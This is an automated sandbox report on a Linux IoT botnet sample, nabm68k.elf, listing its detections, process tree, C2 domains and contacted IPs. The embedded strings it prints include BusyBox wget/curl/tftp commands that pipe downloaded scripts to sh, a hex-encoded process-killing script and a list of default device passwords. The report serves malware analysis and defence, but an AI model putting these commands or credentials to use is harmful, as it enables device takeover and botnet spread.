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Linux Analysis Report
nabm68k.elf

Overview

General Information

Sample name:	nabm68k.elf
Analysis ID:	1564397
MD5:	5f1ed963d112cce024ec7fd9bdbf7400
SHA1:	86c1cdcbe967b8031f908d0adcfd3f51c84f69ec
SHA256:	f65148df3d938e1c99bbd2917e32fbdc6dddad1b65e8ee9dbe98d515066997d7
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564397
Start date and time:	2024-11-28 09:37:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabm68k.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/146@10/0

Runtime Messages

Command:	/tmp/nabm68k.elf
PID:	6258
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6226, Parent: 4331)

rm (PID: 6226, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.wJQJHKP5L6 /tmp/tmp.RGnrKZeOEW /tmp/tmp.Bb53AHkkSP

dash New Fork (PID: 6227, Parent: 4331)

cat (PID: 6227, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.wJQJHKP5L6

dash New Fork (PID: 6228, Parent: 4331)

head (PID: 6228, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6229, Parent: 4331)

tr (PID: 6229, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6230, Parent: 4331)

cut (PID: 6230, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6231, Parent: 4331)

cat (PID: 6231, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.wJQJHKP5L6

dash New Fork (PID: 6232, Parent: 4331)

head (PID: 6232, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6233, Parent: 4331)

tr (PID: 6233, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6234, Parent: 4331)

cut (PID: 6234, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6235, Parent: 4331)

rm (PID: 6235, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.wJQJHKP5L6 /tmp/tmp.RGnrKZeOEW /tmp/tmp.Bb53AHkkSP

nabm68k.elf (PID: 6258, Parent: 6156, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/nabm68k.elf

nabm68k.elf New Fork (PID: 6260, Parent: 6258)

nabm68k.elf New Fork (PID: 6262, Parent: 6260)

nabm68k.elf New Fork (PID: 6266, Parent: 6260)

nabm68k.elf New Fork (PID: 6267, Parent: 6260)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabm68k.elf

ReversingLabs: Detection: 34%

Source: nabm68k.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.214 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.242 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.245 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:60292 -> 154.213.187.242:38241
Source: global traffic	TCP traffic: 192.168.2.23:33514 -> 154.213.187.214:38241
Source: global traffic	TCP traffic: 192.168.2.23:47828 -> 154.213.187.245:38241
Source: global traffic	TCP traffic: 192.168.2.23:35492 -> 154.213.187.249:38241
Source: global traffic	TCP traffic: 192.168.2.23:39932 -> 154.213.187.213:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 64.8.160.200
Source: unknown	TCP traffic detected without corresponding DNS query: 126.187.69.118
Source: unknown	TCP traffic detected without corresponding DNS query: 144.103.200.249
Source: unknown	TCP traffic detected without corresponding DNS query: 149.28.95.17
Source: unknown	TCP traffic detected without corresponding DNS query: 202.162.207.159
Source: unknown	TCP traffic detected without corresponding DNS query: 88.85.18.91
Source: unknown	TCP traffic detected without corresponding DNS query: 219.44.13.27
Source: unknown	TCP traffic detected without corresponding DNS query: 128.11.116.148
Source: unknown	TCP traffic detected without corresponding DNS query: 6.222.44.70
Source: unknown	TCP traffic detected without corresponding DNS query: 153.73.234.161
Source: unknown	TCP traffic detected without corresponding DNS query: 144.53.146.161
Source: unknown	TCP traffic detected without corresponding DNS query: 57.202.17.65
Source: unknown	TCP traffic detected without corresponding DNS query: 48.66.151.109
Source: unknown	TCP traffic detected without corresponding DNS query: 145.113.87.22
Source: unknown	TCP traffic detected without corresponding DNS query: 5.170.199.207
Source: unknown	TCP traffic detected without corresponding DNS query: 83.206.112.6
Source: unknown	TCP traffic detected without corresponding DNS query: 117.220.156.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.35.26.109
Source: unknown	TCP traffic detected without corresponding DNS query: 76.19.0.112
Source: unknown	TCP traffic detected without corresponding DNS query: 102.104.147.114
Source: unknown	TCP traffic detected without corresponding DNS query: 64.8.160.200
Source: unknown	TCP traffic detected without corresponding DNS query: 126.187.69.118
Source: unknown	TCP traffic detected without corresponding DNS query: 144.103.200.249
Source: unknown	TCP traffic detected without corresponding DNS query: 149.28.95.17
Source: unknown	TCP traffic detected without corresponding DNS query: 202.162.207.159
Source: unknown	TCP traffic detected without corresponding DNS query: 88.85.18.91
Source: unknown	TCP traffic detected without corresponding DNS query: 219.44.13.27
Source: unknown	TCP traffic detected without corresponding DNS query: 128.11.116.148
Source: unknown	TCP traffic detected without corresponding DNS query: 6.222.44.70
Source: unknown	TCP traffic detected without corresponding DNS query: 153.73.234.161
Source: unknown	TCP traffic detected without corresponding DNS query: 57.202.17.65
Source: unknown	TCP traffic detected without corresponding DNS query: 48.66.151.109
Source: unknown	TCP traffic detected without corresponding DNS query: 144.53.146.161
Source: unknown	TCP traffic detected without corresponding DNS query: 145.113.87.22
Source: unknown	TCP traffic detected without corresponding DNS query: 117.220.156.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.35.26.109
Source: unknown	TCP traffic detected without corresponding DNS query: 83.206.112.6
Source: unknown	TCP traffic detected without corresponding DNS query: 5.170.199.207
Source: unknown	TCP traffic detected without corresponding DNS query: 76.19.0.112
Source: unknown	TCP traffic detected without corresponding DNS query: 102.104.147.114
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 64.8.160.200
Source: unknown	TCP traffic detected without corresponding DNS query: 144.103.200.249
Source: unknown	TCP traffic detected without corresponding DNS query: 6.222.44.70
Source: unknown	TCP traffic detected without corresponding DNS query: 117.220.156.146
Source: unknown	TCP traffic detected without corresponding DNS query: 76.19.0.112
Source: unknown	TCP traffic detected without corresponding DNS query: 202.162.207.159
Source: unknown	TCP traffic detected without corresponding DNS query: 219.44.13.27

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabm68k.elf	String found in binary or memory: http:///curl.sh
Source: nabm68k.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .dPon521rootZte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulthkipc2016unisheenFireituphslwificam5upjvbzdsystemzlxx.antslqxc12345xmhdipcicatch99founder88xirtam/*6.=_jat0talc0ntr0l4!7ujMko0adminjuantechipc71aroot12320080826admin123admin1234admin@123BrAhMoS@15GeNeXiS@19supportadmintelnetadminadmintelecomtelecomadminguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporte8ehomee8telnet
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x

Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6331/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6331/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6345/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6345/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 6266)	File opened: /proc/6293/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6226)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.wJQJHKP5L6 /tmp/tmp.RGnrKZeOEW /tmp/tmp.Bb53AHkkSP			Jump to behavior
Source: /usr/bin/dash (PID: 6235)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.wJQJHKP5L6 /tmp/tmp.RGnrKZeOEW /tmp/tmp.Bb53AHkkSP			Jump to behavior

Source: nabm68k.elf, 6258.1.00007fffac987000.00007fffac9a8000.rw-.sdmp, nabm68k.elf, 6262.1.00007fffac987000.00007fffac9a8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: nabm68k.elf, 6258.1.0000562e872f5000.0000562e8737a000.rw-.sdmp, nabm68k.elf, 6262.1.0000562e872f5000.0000562e8737a000.rw-.sdmp	Binary or memory string: .V!/etc/qemu-binfmt/m68k
Source: nabm68k.elf, 6258.1.00007fffac987000.00007fffac9a8000.rw-.sdmp, nabm68k.elf, 6262.1.00007fffac987000.00007fffac9a8000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/nabm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabm68k.elf
Source: nabm68k.elf, 6258.1.0000562e872f5000.0000562e8737a000.rw-.sdmp, nabm68k.elf, 6262.1.0000562e872f5000.0000562e8737a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabm68k.elf	false		high
http:///curl.sh	nabm68k.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
162.209.130.216	unknown	United States	40065	CNSERVERSUS	false
182.235.167.218	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
123.41.166.32	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
57.203.164.181	unknown	Belgium	2686	ATGS-MMD-ASUS	false
99.139.201.136	unknown	United States	7018	ATT-INTERNET4US	false
200.219.13.241	unknown	unknown	10362	UBIKDOBRASILSOLTECNOLOGIALTDABR	false
71.18.131.64	unknown	United States	7029	WINDSTREAMUS	false
116.43.227.81	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
69.233.202.162	unknown	United States	7018	ATT-INTERNET4US	false
153.86.198.34	unknown	United States	14962	NCR-252US	false
43.72.63.73	unknown	Japan	4249	LILLY-ASUS	false
101.129.0.208	unknown	China	45075	CCTVNETChinaCentralTelevisionCN	false
104.129.181.163	unknown	Canada	25820	IT7NETCA	false
223.137.135.240	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
191.220.115.248	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
61.253.24.177	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
15.45.8.138	unknown	United States	13979	ATT-IPFRUS	false
216.193.198.15	unknown	United States	3257	GTT-BACKBONEGTTDE	false
175.227.178.154	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
93.31.19.73	unknown	France	15557	LDCOMNETFR	false
33.239.94.1	unknown	United States	2686	ATGS-MMD-ASUS	false
92.158.199.33	unknown	France	3215	FranceTelecom-OrangeFR	false
126.187.69.118	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
198.230.38.168	unknown	United States	292	ESNET-WESTUS	false
1.83.173.106	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
213.201.18.143	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
55.16.135.126	unknown	United States	364	DNIC-ASBLK-00306-00371US	false
186.55.17.110	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
202.102.1.28	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
19.63.223.65	unknown	United States	3	MIT-GATEWAYSUS	false
190.94.40.62	unknown	Dominican Republic	12066	ALTICEDOMINICANASADO	false
149.87.149.81	unknown	United States	174	COGENT-174US	false
177.159.91.82	unknown	Brazil	10429	TELEFONICABRASILSABR	false
141.25.178.163	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
43.41.9.13	unknown	Japan	4249	LILLY-ASUS	false
56.189.208.49	unknown	United States	2686	ATGS-MMD-ASUS	false
202.162.207.159	unknown	Indonesia	138841	GROOVY-AS-IDPTMediaAndalanNusaID	false
205.160.18.21	unknown	United States	1239	SPRINTLINKUS	false
179.181.127.12	unknown	Brazil	10429	TELEFONICABRASILSABR	false
185.187.72.188	unknown	Hungary	62214	RACKFOREST-ASHU	false

Name	IP	Active	Malicious	Reputation
netfags.geek	154.213.187.213	true	false	high
burnthe.libre	154.213.187.245	true	false	high
netfags.geek. [malformed]	unknown	unknown	false	high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	splppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	mpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	ppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
netfags.geek	nabmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	x86.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	bin.sh.elf	Get hash	malicious	Mirai	Browse	219.70.169.220
	.jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	111.185.1.253
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	203.204.24.243
	mpsl.elf	Get hash	malicious	Mirai	Browse	219.68.27.214
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	115.43.37.4
	fbot.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	111.184.225.147
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	203.133.37.55
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	61.70.4.6
	x86_64.elf	Get hash	malicious	Mirai	Browse	203.203.51.34
	ppc.elf	Get hash	malicious	Mirai	Browse	61.70.25.36
ATGS-MMD-ASUS	nabppc.elf	Get hash	malicious	Unknown	Browse	57.214.61.189
	nabsh4.elf	Get hash	malicious	Unknown	Browse	48.153.242.74
	nabarm.elf	Get hash	malicious	Unknown	Browse	56.90.6.34
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	32.18.92.92
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	32.203.248.83
	nabx86.elf	Get hash	malicious	Unknown	Browse	33.165.164.76
	nabarm5.elf	Get hash	malicious	Unknown	Browse	57.194.240.187
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	57.62.215.31
SAMSUNGSDS-AS-KRSamsungSDSIncKR	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	123.35.237.172
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	157.197.243.59
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	123.38.165.188
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	203.244.125.236
	mpsl.elf	Get hash	malicious	Mirai	Browse	123.36.126.28
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	123.39.204.150
	nklm68k.elf	Get hash	malicious	Unknown	Browse	123.45.177.97
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	123.39.42.214
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	168.219.183.234
